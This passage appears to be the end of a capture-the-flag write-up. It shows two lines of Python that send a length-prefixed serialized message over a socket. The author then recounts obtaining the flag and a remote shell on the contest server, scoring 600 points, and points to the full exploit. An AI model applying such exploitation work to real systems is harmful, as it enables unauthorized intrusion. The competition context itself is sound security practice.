        data = "2" + msg.SerializeToString()
        s.send(struct.pack('<I', len(data)) + data)

While we had the exploit ready after not too long since we started working at the task, the service was overloaded at the time of the CTF, with multiple teams attempting to solve it and crashing the process before anyone could grab the flag (hell, my exploit probably contributed to the situation a lot). After two tedious hours, our console would finally spit out the flag and provide us with remote shell access to the vulnerable box:

And that's how we earned 600 points as the only team to successfully solve the task during the competition run time. The full exploit can be found at Cheers!